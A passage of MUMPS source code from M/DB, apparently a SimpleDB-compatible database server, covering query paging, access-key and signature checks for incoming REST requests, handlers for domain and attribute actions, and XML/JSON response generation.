^MDB(keyId,\"domains\",domainId,\"itemIndex\",namex,itemId)\n . . k ^MDB(keyId,\"domains\",domainId,\"attribs\")\n . . k ^MDB(keyId,\"domains\",domainId,\"attribsIndex\")\n ;\n QUIT $$end(startTime,.boxUsage)\n ;\nquery(keyId,domainName,queryExpression,maxNoOfItems,nextToken,itemList,requestId,boxUsage)\n ;\n n context,name,error,startTime,stop,token,value,xvalue\n ;\n i $zv[\"GT.M\" d\n . s context=1\n . i $d(^zewd(\"config\",\"MGWSI\")) s context=0\n s requestId=$$init(.startTime)\n s keyId=$g(keyId)\n i keyId=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"keyId\")\n s domainName=$g(domainName)\n i domainName=\"\" QUIT $$end(startTime,.boxUsage,\"MissingParameter\",\"DomainName\")\n s queryExpression=$g(queryExpression)\n i $g(^zewd(\"trace\"))=1 d trace(\"Query Expression=\"_queryExpression)\n s maxNoOfItems=$g(maxNoOfItems)\n k itemList\n ;\n s error=\"\"\n i $g(nextToken)'=\"\" d  QUIT error\n . n n,pos\n . s pos=$g(^MDB(keyId,\"queryResults\",\"nextToken\",nextToken))\n . i pos=\"\" s error=\"InvalidNextToken~The specified next token is not valid\" q\n . s n=0,nextToken=\"\"\n . f  s pos=$o(^MDB(keyId,\"queryResults\",\"itemList\",pos)) q:pos=\"\"  d  q:n=maxNoOfItems\n . . s n=n+1\n . . s itemList(n)=^MDB(keyId,\"queryResults\",\"itemList\",pos)\n . i pos'=\"\" d\n . . s nextToken=itemList(n)\n . . i $zv[\"GT.M\" d\n . . . s nextToken=$$B64^%ZMGWSIS(nextToken)\n . . e  d\n . . . s nextToken=$$b64Encode^MDBMCache(nextToken)\n . . s ^MDB(keyId,\"queryResults\",\"nextToken\",nextToken)=pos\n . e  d\n . . k ^MDB(keyId,\"queryResults\")\n . s error=$$end(startTime,.boxUsage)\n ;\n s nextToken=\"\"\n s error=$$runQuery(keyId,domainName,queryExpression,nextToken,.itemList)\n i error'=\"\" QUIT error\n i $g(maxNoOfItems)>0 d\n . ; add session identifier to stored records\n . k ^MDB(keyId,\"queryResults\")\n . m ^MDB(keyId,\"queryResults\",\"itemList\")=itemList\n . ;i queryExpression[\"sort \" s ^MDB(keyId,\"queryResults\",\"sorted\")=1\n . k itemList\n . s n=0,pos=\"\"\n . f  s pos=$o(^MDB(keyId,\"queryResults\",\"itemList\",pos)) q:pos=\"\"  d  q:n=maxNoOfItems\n . . s n=n+1\n . . s itemList(n)=^MDB(keyId,\"queryResults\",\"itemList\",pos)\n . i pos'=\"\" d\n . . s nextToken=itemList(n)\n . . i $zv[\"GT.M\" d\n . . . s nextToken=$$B64^%ZMGWSIS(nextToken,context)\n . . e  d\n . . . s nextToken=$$b64Encode^MDBMCache(nextToken)\n . . s ^MDB(keyId,\"queryResults\",\"nextToken\",nextToken)=pos\n ;\n QUIT $$end(startTime,.boxUsage)\n ;\n ;\n ;  MDB Server side response to incoming REST requests\n ;\nmgwsiResponse(cgi,data)\n ; m_apache HTTP entry point: normalise to WebLink interface\n n %CGIEVAR,n,name,%KEY,unescName\n i $g(^zewd(\"trace\"))=1 k ^mdbcgi m ^mdbcgi=cgi\n i $g(^zewd(\"trace\"))=1 s n=$increment(^mdbdata) m ^mdbdata(n)=data\n i $g(^%zewd(\"relink\"))=1,'$d(^%zewd(\"relink\",\"process\",$j)) s ok=$$relink^%zewdGTMRuntime()\n m %CGIEVAR=cgi\n s name=\"\"\n f  s name=$o(data(name)) q:name=\"\"  d\n . i name=\"$CONTENT\" q\n . s unescName=$$urlDecode(name)\n . s %KEY(unescName)=$$urlDecode($g(data(name,1)))\n . i %KEY(unescName)[$c(13,10) s %KEY(unescName)=$$replace(%KEY(unescName),$c(13,10),\"\")\n d response\n QUIT\n ;\nresponse\n i $d(%KEY) d\n . ; WebLink access entry point here\n . n action,attributes,AWSAcessKeyId,boxUsage,db,error,hash,itemsAndAttrs,keyId\n . n requestId,secretKey,signatureMethod,signatureVersion,stringToSign\n . ;\n . ;k ^rltKey m ^rltKey=%KEY\n . s db=$g(%KEY(\"db\"))\n . i db=\"\" s db=\"mdb\" ;,%KEY(\"db\")=db\n . s action=$g(%KEY(\"Action\"))\n . i $g(^zewd(\"trace\"))=1 d\n . . n i\n . . d trace(\"MDB request processing for \"_action_\": started at \"_$h_\"; process: \"_$j)\n . . s i=$increment(^mdbKey)\n . . m ^mdbKey(i)=%KEY\n . i action=\"Initialise\"!(action=\"initialise\")!(action=\"Initialize\")!(action=\"initialize\") d  QUIT\n . . s %KEY(\"db\")=db\n . . i $d(^MDBUAF(\"administrator\")) d errorResponse(\"InvalidAction\",\"M DB has already been initialised\") q\n . . s error=$$initialise(.requestId,.boxUsage)\n . . i error'=\"\" d errorResponse(\"InvalidConfigurationFile\",error) q\n . . d createResponse(action,requestId,boxUsage)\n . i action=\"InstallMDBX\" d  QUIT\n . . s %KEY(\"db\")=db\n . . s error=$$installMDBX(.requestId,.boxUsage)\n . . i error'=\"\" d errorResponse(\"InvalidInstallRequest\",error) q\n . . d createResponse(action,requestId,boxUsage)\n . i action=\"InstallMDBM\" d  QUIT\n . . s %KEY(\"db\")=db\n . . s error=$$installMDBM(.requestId,.boxUsage)\n . . i error'=\"\" d errorResponse(\"InvalidInstallRequest\",error) q\n . . d createResponse(action,requestId,boxUsage)\n . i $g(%KEY(\"MDBToken\"))'=\"\" d  q:error\n . . n keyId\n . . s error=\"\"\n . . s keyId=$$authenticate^MDBSession(%KEY(\"MDBToken\"))\n . . i keyId=\"\" s error=1 d errorResponse(\"InvalidTokenId\",\"The Access Token you provided does not exist in our records\") QUIT\n . e  d  q:error=1\n . . s error=\"\"\n . . s signatureVersion=+$g(%KEY(\"SignatureVersion\"))\n . . s signatureMethod=$g(%KEY(\"SignatureMethod\"))\n . . s stringToSign=$$createResponseStringToSign(signatureVersion)\n . . s keyId=$g(%KEY(\"AWSAccessKeyId\"))\n . . i keyId=\"\" s keyId=$g(%KEY(\"MDBAccessKeyId\"))\n . . i action=\"AddUser\" d  i error'=\"\" QUIT\n . . . s error=\"\"\n . . . i keyId=$g(^MDBUAF(\"administrator\")) q\n . . . d errorResponse(\"InvalidAdministratorKey\",\"The Access Key Id was not that of the Administrator\")\n . . . s error=1\n . . i keyId=\"\" s error=1 d errorResponse(\"InvalidClientTokenId\",\"The Access Key Id you provided does not exist in our records\") QUIT\n . . i $g(^MDBUAF(\"keys\",keyId))=\"\" s error=1 d errorResponse(\"InvalidClientTokenId\",\"The Access Key Id you provided does not exist in our records\") QUIT\n . . i $g(%KEY(\"Signature\"))=\"\" s error=1 d errorResponse(\"SignatureDoesNotMatch\",\"The request signature we calculated does not match the signature you provided.  Check your Secret Access Key and signing method.  Consult the service documentation for details\") QUIT\n . . s secretKey=$g(^MDBUAF(\"keys\",keyId))\n . . s hash=$$getSignedString(stringToSign,secretKey,signatureMethod)\n . . i $g(^zewd(\"trace\"))=1 d trace($h_\": string to sign:\"_stringToSign)\n . . i $g(^zewd(\"trace\"))=1 d trace($h_\": hash=\"_hash_\"; signature rcvd=\"_%KEY(\"Signature\"))\n . . i hash'=%KEY(\"Signature\") s error=1 d errorResponse(\"SignatureDoesNotMatch\",\"The request signature we calculated does not match the signature you provided.  Check your Secret Access Key and signing method.  Consult the service documentation for details\") QUIT\n . ;\n . ; Security OK\n . ;\n . ;d trace(\"security ok: db=\"_db)\n . i $g(^MDBAPI(db,action))'=\"\" d  QUIT\n . . ; Custom extension gateway.  Method should return output in response(lineNo)\n . . ; any error should be returned as errorCode~errorText\n . . n doll,lineNo,method,no,requestId,response,startTime,x\n . . s method=^MDBAPI(db,action)\n . . s x=\"s error=$$\"_method_\"(.%KEY,.response)\"\n . . s requestId=$$init(.startTime)\n . . x x\n . . i error'=\"\" d errorResponse($p(error,\"~\",1),$p(error,\"~\",2)) QUIT\n . . i $$end(startTime,.boxUsage)\n . . s lineNo=1\n . . i $g(%KEY(\"mdbRawOutput\"))'=\"true\",$g(%KEY(\"OutputFormat\"))'=\"JSON\" d\n . . . s ^CacheTempEWD($j,lineNo)=\"<?xml version='1.0'?>\"_$c(13,10),lineNo=lineNo+1\n . . . s ^CacheTempEWD($j,lineNo)=\"<\"_action_\"Response xmlns=\"\"http://\"_db_\".mgateway.com/doc/2009-06-05/\"\">\",lineNo=lineNo+1\n . . s no=\"\"\n . . f  s no=$o(response(no)) q:no=\"\"  d\n . . . s ^CacheTempEWD($j,lineNo)=response(no),lineNo=lineNo+1\n . . d createResponse(db_\":\"_action,requestId,boxUsage) QUIT\n . ;\n . i db=\"mdb\" s %KEY(\"db\")=\"mdb\"\n . i action=\"AddUser\" d  QUIT\n . . n userKeyId,userSecretKey\n . . s userKeyId=$g(%KEY(\"UserAccessKeyId\"))\n . . i userKeyId=\"\" d errorResponse(\"InvalidKeyId\",\"The new user Access Key Id was not defined\") QUIT\n . . s userSecretKey=$g(%KEY(\"UserSecretKey\"))\n . . i userSecretKey=\"\" d errorResponse(\"InvalidSecretKey\",\"The new user Secret Key was not defined\") QUIT\n . . s error=$$addUser(userKeyId,userSecretKey,.requestId,.boxUsage)\n . . i error'=\"\" d errorResponse($p(error,\"~\",1),$p(error,\"~\",2)) QUIT\n . . d createResponse(action,requestId,boxUsage) QUIT\n . ;\n . i action=\"GetToken\" d  QUIT\n . . n boxUsage,requestId,startTime,token\n . . s requestId=$$init(.startTime)\n . . s token=$$createNewSession^MDBSession(keyId,1200)\n . . i $$end(startTime,.boxUsage)\n . . d createResponse(action,requestId,boxUsage)\n . ;\n . i action=\"CreateDomain\" d  QUIT\n . . n domainName,resp\n . . s domainName=$g(%KEY(\"DomainName\"))\n . . s error=$$createDomain(keyId,domainName,.requestId,.boxUsage)\n . . i error'=\"\" d errorResponse($p(error,\"~\",1),$p(error,\"~\",2)) QUIT\n . . d createResponse(action,requestId,boxUsage) QUIT\n . ;\n . i action=\"DeleteDomain\" d  QUIT\n . . n domainName,resp\n . . s domainName=$g(%KEY(\"DomainName\"))\n . . s error=$$deleteDomain(keyId,domainName,.requestId,.boxUsage)\n . . i error'=\"\" d errorResponse($p(error,\"~\",1),$p(error,\"~\",2)) QUIT\n . . d createResponse(action,requestId,boxUsage) QUIT\n . ;\n . i action=\"ListDomains\" d  QUIT\n . . ;d trace(\"in ListDomains\")\n . . n domainList,maxNoOfDomains,nextToken,resp\n . . s maxNoOfDomains=$g(%KEY(\"MaxNumberOfDomains\"))\n . . s nextToken=$g(%KEY(\"NextToken\"))\n . . s error=$$listDomains(keyId,maxNoOfDomains,.nextToken,.domainList,.requestId,.boxUsage)\n . . i error'=\"\" d errorResponse($p(error,\"~\",1),$p(error,\"~\",2)) QUIT\n . . d createResponse(action,requestId,boxUsage) QUIT\n . ;\n . i action=\"DomainMetadata\" d  QUIT\n . . n domainName,metaData\n . . s domainName=$g(%KEY(\"DomainName\"))\n . . s error=$$domainMetadata(keyId,domainName,.metaData,.requestId,.boxUsage)\n . . i error'=\"\" d errorResponse($p(error,\"~\",1),$p(error,\"~\",2)) QUIT\n . . d createResponse(action,requestId,boxUsage) QUIT\n . ;\n . i action=\"PutAttributes\" d  QUIT\n . . n domainName,error,i,itemName,name,paramName,paramValue,replace,start,stop\n . . s domainName=$g(%KEY(\"DomainName\"))\n . . s itemName=$g(%KEY(\"ItemName\"))\n . . s stop=0\n . . s name=$o(%KEY(\"Attribute.\"))\n . . s start=$p(name,\".\",2)\n . . s error=\"\"\n . . f i=start:1 d  q:stop\n . . . s paramName=\"Attribute.\"_i_\".Name\"\n . . . i '$d(%KEY(paramName)) s stop=1 q\n . . . s paramValue=\"Attribute.\"_i_\".Value\"\n . . . ;i '$d(%KEY(paramValue)) s stop=1 q\n . . . i '$d(%KEY(paramValue)) s error=\"MissingParameter~Attribute Value missing for Attribute Name='\"_%KEY(paramName),stop=1 q\n . . . ;i %KEY(paramValue)=\"\" s error=\"MissingParameter~Attribute Value missing for Attribute Name='\"_%KEY(paramName),stop=1\n . . . s replace=$g(%KEY(\"Attribute.\"_i_\".Replace\"))\n . . . i replace=\"true\" s replace=1\n . . . ; attributes(no,\"name\")=attribute name\n . . . ; attributes(no,\"value\")=attribute value\n . . . ; attributes(no,\"replace\")=1\n . . . s attributes(i,\"name\")=%KEY(paramName)\n . . . s attributes(i,\"value\")=%KEY(paramValue)\n . . . i replace s attributes(i,\"replace\")=1\n . . i error=\"\" s error=$$putAttributes(keyId,domainName,itemName,.attributes,.requestId,.boxUsage)\n . . i error'=\"\" d errorResponse($p(error,\"~\",1),$p(error,\"~\",2)) QUIT\n . . d createResponse(action,requestId,boxUsage) QUIT\n . ;\n . i action=\"GetAttributes\" d  QUIT\n . . n domainName,error,i,itemName,name,paramName,paramValue,replace,start,stop\n . . s domainName=$g(%KEY(\"DomainName\"))\n . . s itemName=$g(%KEY(\"ItemName\"))\n . . s stop=0\n . . s name=$o(%KEY(\"AttributeName.\"))\n . . s start=$p(name,\".\",2)\n . . s error=\"\"\n . . k attributes\n . . f i=start:1 d  q:stop\n . . . s paramName=\"AttributeName.\"_i\n . . . i '$d(%KEY(paramName)) s stop=1 q\n . . . s attributes(i)=%KEY(paramName)\n . . . ;s attributes(1)=\"test\"\n . . s error=$$getAttributes(keyId,domainName,itemName,.attributes,.requestId,.boxUsage)\n . . ; attributes(no)=attribute name\n . . ; attributes(no,\"value\",vno)=attribute value\n . . i error'=\"\" d errorResponse($p(error,\"~\",1),$p(error,\"~\",2)) QUIT\n . . d createResponse(action,requestId,boxUsage)\n . ;\n . i action=\"DeleteAttributes\" d  QUIT\n . . n attributes,domainName,error,i,itemName,name,paramName,paramValue,start,stop\n . . s domainName=$g(%KEY(\"DomainName\"))\n . . s itemName=$g(%KEY(\"ItemName\"))\n . . s stop=0\n . . s name=$o(%KEY(\"Attribute.\"))\n . . s start=$p(name,\".\",2)\n . . s error=\"\"\n . . ; attributes(no)=name\n . . ; attributes(no,\"value\",vno)=value\n . . k attributes\n . . f i=start:1 d  q:stop\n . . . s paramName=\"Attribute.\"_i_\".Name\"\n . . . i '$d(%KEY(paramName)) s stop=1 q\n . . . s name=%KEY(paramName)\n . . . s attributes(i)=name\n . . . s paramValue=\"Attribute.\"_i_\".Value\"\n . . . i '$d(%KEY(paramValue)) s stop=1 q\n . . . i %KEY(paramValue)=\"\" s error=\"MissingParameter~Attribute Value missing for Attribute Name='\"_%KEY(paramName),stop=1\n . . . s attributes(i,\"value\",1)=%KEY(paramValue)\n . . i error=\"\" s error=$$deleteAttributes(keyId,domainName,itemName,.attributes,.requestId,.boxUsage)\n . . i error'=\"\" d errorResponse($p(error,\"~\",1),$p(error,\"~\",2)) QUIT\n . . d createResponse(action,requestId,boxUsage) QUIT\n . ;\n . i action=\"Query\" d  QUIT\n . . n domainName,error,itemList,maxNoOfItems,nextToken,queryExpression\n . . s domainName=$g(%KEY(\"DomainName\"))\n . . s queryExpression=$g(%KEY(\"QueryExpression\"))\n . . s maxNoOfItems=$g(%KEY(\"MaxNumberOfItems\"))\n . . s nextToken=$g(%KEY(\"NextToken\"))\n . . s error=$$query(keyId,domainName,queryExpression,maxNoOfItems,.nextToken,.itemList,.requestId,.boxUsage)\n . . i error'=\"\" d errorResponse($p(error,\"~\",1),$p(error,\"~\",2)) QUIT\n . . d createResponse(action,requestId,boxUsage) QUIT\n . ;\n . i action=\"QueryWithAttributes\" d  QUIT\n . . n attribs,bx,domainName,error,ex,i,name,itemList,itemName,itemsAndAttrs,maxNoOfItems,name,nextToken\n . . n paramName,pos,queryExpression,rx,sorted,start,stop,sub\n . . ;\n . . s domainName=$g(%KEY(\"DomainName\"))\n . . s queryExpression=$g(%KEY(\"QueryExpression\"))\n . . s maxNoOfItems=$g(%KEY(\"MaxNumberOfItems\"))\n . . s nextToken=$g(%KEY(\"NextToken\"))\n . . s name=$o(%KEY(\"AttributeName.\"))\n . . s start=$p(name,\".\",2)\n . . s error=\"\",stop=0\n . . f i=start:1 d  q:stop\n . . . s paramName=\"AttributeName.\"_i\n . . . i '$d(%KEY(paramName)) s stop=1 q\n . . . s attributes(i)=%KEY(paramName)\n . . s error=$$query(keyId,domainName,queryExpression,maxNoOfItems,.nextToken,.itemList,.requestId,.boxUsage)\n . . s pos=\"\"\n . . f  s pos=$o(itemList(pos)) q:pos=\"\"  d\n . . . s itemName=itemList(pos)\n . . . k attribs\n . . . m attribs=attributes\n . . . s ex=$$getAttributes(keyId,domainName,itemName,.attribs,.rx,.bx,1)\n . . . m itemsAndAttrs(pos)=attribs\n . . . s itemsAndAttrs(pos)=itemName\n . . i error'=\"\" d errorResponse($p(error,\"~\",1),$p(error,\"~\",2)) QUIT\n . . d createResponse(action,requestId,boxUsage) QUIT\n . ;\n . i action=\"Select\" d  QUIT\n . . n attribs,attributes,boxUsage,bx,domainName,error,ex,itemList,itemName,nextToken\n . . n pos,requestId,rx,selectExpression,startTime\n . . ;\n . . s requestId=$$init(.startTime)\n . . s selectExpression=$g(%KEY(\"SelectExpression\"))\n . . s nextToken=$g(%KEY(\"NextToken\"))\n . . i $g(^zewd(\"trace\"))=1 d trace($h_\": Action Select, entering runSelect. keyId=\"_keyId_\"; selectExpression=\"_selectExpression)\n . . s error=$$runSelect(keyId,selectExpression,.itemList,.attributes,.domainName)\n . . i $g(^zewd(\"trace\")) d trace($h_\": finished runSelect\")\n . . i error'=\"\" d errorResponse($p(error,\"~\",1),$p(error,\"~\",2)) QUIT\n . . i $g(attributes)=\"count(*)\" d\n . . . n count\n . . . s itemsAndAttrs(1)=\"Domain\"\n . . . s itemsAndAttrs(1,1)=\"Count\"\n . . . s pos=\"\",count=0\n . . . f  s pos=$o(itemList(pos)) q:pos=\"\"  s count=count+1\n . . . s itemsAndAttrs(1,1,\"value\",1)=count\n . . e  d\n . . . s pos=\"\"\n . . . ;i $g(^zewd(\"trace\")) d trace($h_\": pos=''\")\n . . . f  s pos=$o(itemList(pos)) q:pos=\"\"  d\n . . . . ;i $g(^zewd(\"trace\")) d trace($h_\": pos=\"_pos)\n . . . . s itemName=itemList(pos)\n . . . . k attribs\n . . . . m attribs=attributes\n . . . . ;i $g(^zewd(\"trace\")) d trace($h_\": calling getAttributes for keyId=\"_keyId_\"; domainName=\"_domainName_\"; itemName \"_itemName)\n . . . . s ex=$$getAttributes(keyId,domainName,itemName,.attribs,.rx,.bx,1)\n . . . . ;i $g(^zewd(\"trace\")) d trace($h_\": finished getAttributes\")\n . . . . m itemsAndAttrs(pos)=attribs\n . . . . s itemsAndAttrs(pos)=itemName\n . . ;i $g(^zewd(\"trace\")) d trace($h_\": about to call $$end\")\n . . i $$end(startTime,.boxUsage)\n . . ;i $g(^zewd(\"trace\")) d trace($h_\": about to start createResponse\")\n . . d createResponse(action,requestId,boxUsage) QUIT\n . ;\n . d errorResponse(\"InvalidAction\",\"The action \"_action_\" is not valid for this web service\") QUIT\n i $g(^zewd(\"trace\"))=1 d trace(\"MDB request processing ended at \"_$h)\n QUIT\n ;\ncreateResponse(action,requestId,boxUsage)\n ;\n n len,lineNo\n ;\n ;i $g(^zewd(\"trace\"))=1 d trace($h_\": Commencing createResponse\")\n i '$d(%KEY(\"isCSP\")) d\n . w \"HTTP/1.0 200 OK\"_$c(13,10)\n . w \"Date: \"_$$inetDate^%zewdAPI($h)_\" \"_$tr($g(^MDBConfig(\"GMTOffset\")),\":\",\"\")_$c(13,10)\n . i $g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . . w \"Content-type: application/json\"_$c(13,10)\n . e  d\n . . w \"Content-type: text/xml\"_$c(13,10)\n s lineNo=1\n i $g(%KEY(\"OutputFormat\"))'=\"JSON\" d\n . i $g(%KEY(\"db\"))=\"mdb\" d\n . . n apiVersion\n . . k ^CacheTempEWD($j)\n . . s lineNo=1\n . . s ^CacheTempEWD($j,lineNo)=\"<?xml version='1.0'?>\"_$c(13,10),lineNo=lineNo+1\n . . s apiVersion=$g(%KEY(\"Version\")) i apiVersion=\"\" s apiVersion=\"2009-04-15\"\n . . s ^CacheTempEWD($j,lineNo)=\"<\"_action_\"Response xmlns=\"\"http://sdb.amazonaws.com/doc/\"_apiVersion_\"/\"\">\",lineNo=lineNo+1\n . e  d\n . . s action=$p(action,\":\",2)\n . . s lineNo=$o(^CacheTempEWD($j,\"\"),-1)+1\n ;\n i action=\"GetToken\" d\n . i $g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . . s ^CacheTempEWD($j,lineNo)=\"{token:\"\"\"_token_\"\"\"}\"\n . e  d\n . . s ^CacheTempEWD($j,lineNo)=\"<GetTokenResult>\"_token_\"</GetTokenResult>\",lineNo=lineNo+1\n ;\n i action=\"ListDomains\" d\n . i '$d(domainList) d\n . . i $g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . . . s ^CacheTempEWD($j,lineNo)=\"[]\",lineNo=lineNo+1\n . . e  d\n . . . s ^CacheTempEWD($j,lineNo)=\"<ListDomainsResult />\",lineNo=lineNo+1\n . e  d\n . . n comma,no\n . . i $g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . . . s ^CacheTempEWD($j,lineNo)=\"[\",lineNo=lineNo+1\n . . . s no=\"\",comma=\"\"\n . . . f  s no=$o(domainList(no)) q:no=\"\"  d\n . . . . s ^CacheTempEWD($j,lineNo)=comma_\"\"\"\"_domainList(no)_\"\"\"\",lineNo=lineNo+1,comma=\",\"\n . . . s ^CacheTempEWD($j,lineNo)=\"]\",lineNo=lineNo+1\n . . e  d\n . . . s ^CacheTempEWD($j,lineNo)=\"<ListDomainsResult>\",lineNo=lineNo+1\n . . . s no=\"\"\n . . . f  s no=$o(domainList(no)) q:no=\"\"  d\n . . . . s ^CacheTempEWD($j,lineNo)=\"<DomainName>\"_domainList(no)_\"</DomainName>\",lineNo=lineNo+1\n . . . i $g(nextToken)'=\"\" s ^CacheTempEWD($j,lineNo)=\"<NextToken>\"_nextToken_\"</NextToken>\",lineNo=lineNo+1\n . . . s ^CacheTempEWD($j,lineNo)=\"</ListDomainsResult>\",lineNo=lineNo+1\n ;\n i action=\"CreateDomain\",$g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . s ^CacheTempEWD($j,lineNo)=\"{ok:true}\",lineNo=lineNo+1\n ;\n i action=\"DeleteAttributes\",$g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . s ^CacheTempEWD($j,lineNo)=\"{ok:true}\",lineNo=lineNo+1\n ;\n i action=\"DeleteDomain\",$g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . s ^CacheTempEWD($j,lineNo)=\"{ok:true}\",lineNo=lineNo+1\n ;\n i action=\"PutAttributes\",$g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . s ^CacheTempEWD($j,lineNo)=\"{ok:true}\",lineNo=lineNo+1\n ;\n i action=\"DomainMetadata\" d\n . i '$d(metaData) d\n . . i $g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . . . s ^CacheTempEWD($j,lineNo)=\"{}\",lineNo=lineNo+1\n . . e  d\n . . . s ^CacheTempEWD($j,lineNo)=\"<DomainMetadataResult />\",lineNo=lineNo+1\n . e  d\n . . n comma,name\n . . i $g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . . . s ^CacheTempEWD($j,lineNo)=\"{\",lineNo=lineNo+1\n . . . s name=\"\",comma=\"\"\n . . . f  s name=$o(metaData(name)) q:name=\"\"  d\n . . . . s ^CacheTempEWD($j,lineNo)=comma_name_\":\"_metaData(name),lineNo=lineNo+1,comma=\",\"\n . . . s ^CacheTempEWD($j,lineNo)=\"}\",lineNo=lineNo+1\n . . e  d\n . . . s ^CacheTempEWD($j,lineNo)=\"<DomainMetadataResult>\",lineNo=lineNo+1\n . . . s name=\"\"\n . . . f  s name=$o(metaData(name)) q:name=\"\"  d\n . . . . s ^CacheTempEWD($j,lineNo)=\"<\"_name_\">\"_metaData(name)_\"</\"_name_\">\",lineNo=lineNo+1\n . . . s ^CacheTempEWD($j,lineNo)=\"</DomainMetadataResult>\",lineNo=lineNo+1\n ;\n i action=\"GetAttributes\",%KEY(\"db\")=\"mdb\" d\n . i '$d(attributes) d\n . . i $g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . . . s ^CacheTempEWD($j,lineNo)=\"{}\",lineNo=lineNo+1\n . . e  d\n . . . s ^CacheTempEWD($j,lineNo)=\"<GetAttributesResult />\",lineNo=lineNo+1\n . e  d\n . . n acomma,comma,count,name,no,quote,stop,value,valueNo\n . . i $g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . . . s ^CacheTempEWD($j,lineNo)=\"{\",lineNo=lineNo+1\n . . . s no=\"\",comma=\"\"\n . . . f  s no=$o(attributes(no)) q:no=\"\"  d\n . . . . s name=attributes(no)\n . . . . s valueNo=\"\",count=0,stop=0\n . . . . f  s valueNo=$o(attributes(no,\"value\",valueNo)) q:valueNo=\"\"  d  q:stop\n . . . . . s count=count+1 i count>1 s stop=1\n . . . . i count=1 d\n . . . . . s ^CacheTempEWD($j,lineNo)=comma_name_\":\",acomma=\"\",comma=\",\",lineNo=lineNo+1\n . . . . e  d\n . . . . . s ^CacheTempEWD($j,lineNo)=comma_name_\":[\",acomma=\"\",comma=\",\",lineNo=lineNo+1\n . . . . s valueNo=\"\"\n . . . . f  s valueNo=$o(attributes(no,\"value\",valueNo)) q:valueNo=\"\"  d\n . . . . . s value=attributes(no,\"value\",valueNo)\n . . . . . s quote=\"\"\"\" i $$numeric(value) s quote=\"\"\n . . . . . s ^CacheTempEWD($j,lineNo)=acomma_quote_value_quote,lineNo=lineNo+1,acomma=\",\"\n . . . . i count>1 s ^CacheTempEWD($j,lineNo)=\"]\",lineNo=lineNo+1\n . . . s ^CacheTempEWD($j,lineNo)=\"}\",lineNo=lineNo+1\n . . e  d\n . . . s ^CacheTempEWD($j,lineNo)=\"<GetAttributesResult>\",lineNo=lineNo+1\n . . . s no=\"\"\n . . . f  s no=$o(attributes(no)) q:no=\"\"  d\n . . . . s name=attributes(no)\n . . . . s valueNo=\"\"\n . . . . f  s valueNo=$o(attributes(no,\"value\",valueNo)) q:valueNo=\"\"  d\n . . . . . s value=attributes(no,\"value\",valueNo)\n . . . . . s value=$$escape(value)\n . . . . . s ^CacheTempEWD($j,lineNo)=\"<Attribute>\",lineNo=lineNo+1\n . . . . . s ^CacheTempEWD($j,lineNo)=\"<Name>\"_name_\"</Name>\",lineNo=lineNo+1\n . . . . . s ^CacheTempEWD($j,lineNo)=\"<Value>\"_value_\"</Value>\",lineNo=lineNo+1\n . . . . . s ^CacheTempEWD($j,lineNo)=\"</Attribute>\",lineNo=lineNo+1\n . . . s ^CacheTempEWD($j,lineNo)=\"</GetAttributesResult>\",lineNo=lineNo+1\n ;\n i action=\"Select\" d\n . ;i $g(^zewd(\"trace\"))=1 d trace($h_\": action=Select\")\n . i '$d(itemsAndAttrs) d  q\n . . s ^CacheTempEWD($j,lineNo)=\"<SelectResult />\",lineNo=lineNo+1\n . e  d\n . . n attrName,attrNo,attrValue,attrValueNo,itemName,itemNo\n . . s ^CacheTempEWD($j,lineNo)=\"<SelectResult>\",lineNo=lineNo+1\n . . s itemNo=\"\"\n . . f  s itemNo=$o(itemsAndAttrs(itemNo)) q:itemNo=\"\"  d\n . . . s itemName=itemsAndAttrs(itemNo)\n . . . s ^CacheTempEWD($j,lineNo)=\"<Item>\",lineNo=lineNo+1\n . . . s ^CacheTempEWD($j,lineNo)=\"<Name>\"_itemName_\"</Name>\",lineNo=lineNo+1\n . . . s attrNo=\"\"\n . . . f  s attrNo=$o(itemsAndAttrs(itemNo,attrNo)) q:attrNo=\"\"  d\n . . . . s attrName=itemsAndAttrs(itemNo,attrNo)\n . . . . s attrValueNo=\"\"\n . . . . f  s attrValueNo=$o(itemsAndAttrs(itemNo,attrNo,\"value\",attrValueNo)) q:attrValueNo=\"\"  d\n . . . . . s attrValue=itemsAndAttrs(itemNo,attrNo,\"value\",attrValueNo)\n . . . . . s attrValue=$$escape(attrValue)\n . . . . . s ^CacheTempEWD($j,lineNo)=\"<Attribute>\",lineNo=lineNo+1\n . . . . . s ^CacheTempEWD($j,lineNo)=\"<Name>\"_attrName_\"</Name><Value>\"_attrValue_\"</Value>\",lineNo=lineNo+1\n . . . . . s ^CacheTempEWD($j,lineNo)=\"</Attribute>\",lineNo=lineNo+1\n . . . s ^CacheTempEWD($j,lineNo)=\"</Item>\",lineNo=lineNo+1\n . . s ^CacheTempEWD($j,lineNo)=\"</SelectResult>\",lineNo=lineNo+1\n . ;i $g(^zewd(\"trace\"))=1 d trace($h_\": finished action=Select\")\n ;\n i action=\"Query\" d\n . i '$d(itemList) d\n . . i $g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . . . s ^CacheTempEWD($j,lineNo)=\"[]\",lineNo=lineNo+1\n . . e  d\n . . . s ^CacheTempEWD($j,lineNo)=\"<QueryResult />\",lineNo=lineNo+1\n . e  d\n . . n comma,position,quotes\n . . i $g(%KEY(\"OutputFormat\"))=\"JSON\" d\n . . . s ^CacheTempEWD($j,lineNo)=\"[\",lineNo=lineNo+1\n . . . s position=\"\",comma=\"\"\n . . . f  s position=$o(itemList(position)) q:position=\"\"  d\n . . . . s quotes=\"\"\"\" i $$numeric(itemList(position)) s quotes=\"\"\n . . . . s ^CacheTempEWD($j,lineNo)=comma_quotes_itemList(position)_quotes,lineNo=lineNo+1,comma=\",\"\n . . . s ^CacheTempEWD($j,lineNo)=\"]\",lineNo=lineNo+1\n . . e  d\n . . . n position\n . . . s ^CacheTempEWD($j,lineNo)=\"<QueryResult>\",lineNo=lineNo+1\n . . . s position=\"\"\n . . . f  s position=$o(itemList(position)) q:position=\"\"  d\n . . . . s 